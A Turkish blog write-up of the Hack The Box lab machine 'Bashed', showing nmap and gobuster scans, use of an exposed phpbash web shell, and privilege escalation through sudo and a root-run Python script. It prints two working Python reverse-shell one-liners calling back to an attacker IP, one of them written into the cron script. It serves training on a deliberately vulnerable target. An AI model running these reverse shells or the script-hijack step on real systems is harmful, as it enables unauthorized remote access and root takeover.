Post

Bashed

Bashed

User Flag

nmap başlatalım.

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[~]
└─# nmap -T4 -sV 10.10.10.68               
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-29 06:14 EDT
Nmap scan report for 10.10.10.68 (10.10.10.68)
Host is up (0.076s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.27 seconds

Sadece http servisi çalışıyor gözüküyor. Websitesini ziyaret edelim.

Sitede dikkatimi çeken bir durum olmadı gobuster ile alt dizin taraması başlatıyorum.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(root㉿kali)-[~]
└─# gobuster dir --wordlist=/usr/share/wordlists/dirb/common.txt --url http://10.10.10.68  -t40  
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.68
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 290]
/.htpasswd            (Status: 403) [Size: 295]
/.htaccess            (Status: 403) [Size: 295]
/css                  (Status: 301) [Size: 308] [--> http://10.10.10.68/css/]
/dev                  (Status: 301) [Size: 308] [--> http://10.10.10.68/dev/]
/fonts                (Status: 301) [Size: 310] [--> http://10.10.10.68/fonts/]
/images               (Status: 301) [Size: 311] [--> http://10.10.10.68/images/]
/index.html           (Status: 200) [Size: 7743]
/js                   (Status: 301) [Size: 307] [--> http://10.10.10.68/js/]
/php                  (Status: 301) [Size: 308] [--> http://10.10.10.68/php/]
/server-status        (Status: 403) [Size: 299]
/uploads              (Status: 301) [Size: 312] [--> http://10.10.10.68/uploads/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

Bulunan /dev dizini dikkatimi çekti. Dizinde phpbash.php dosyası mevcut.

Bu dosya websitesi içerisinde bize shell veriyor. Daha rahat çalışmak için reverse shell koduyla makinemize shell alalım.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' nc -nvlp 1234

Böylece user flagı almış olduk. Sıra yetki yükseltip root flagı almaya geldi.

Root Flag

1
2
3
4
5
6
7
$ sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL

sudo -l komutunu kullandığımızda şifre olmadan scriptmanager kullanısına geçebileceğimizi gördüm.

sudo -u scriptmanager /bin/bash

sciptmanager kullanısı ile www-data nın izni olmayan /script klasörüne gidebiliriz.

1
2
3
4
5
6
7
8
9
10
11
12
cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close
cat test.txt
testing 123!
ls -la
total 16
drwxrwxr--  2 scriptmanager scriptmanager 4096 Jun  2  2022 .
drwxr-xr-x 23 root          root          4096 Jun  2  2022 ..
-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
-rw-r--r--  1 root          root            12 Mar 29 03:28 test.txt

Sistem test.py dosyasını belirli bir süreyle çalıştırıyor ve çıktısı test.txt içerisine yazılıyor. test.txt root kullanıcısına ait, test.py dosyasını değiştirme iznimiz var bu sayede dosyayı değiştirerek root kullanıcına geçebiliriz.

Kullanacağım payload: nc -nvlp 1235 echo "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.4\",1235));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);" > test.py

Biraz bekledikten sonra shell geliyor.

fsoc

This post is licensed under CC BY 4.0 by the author.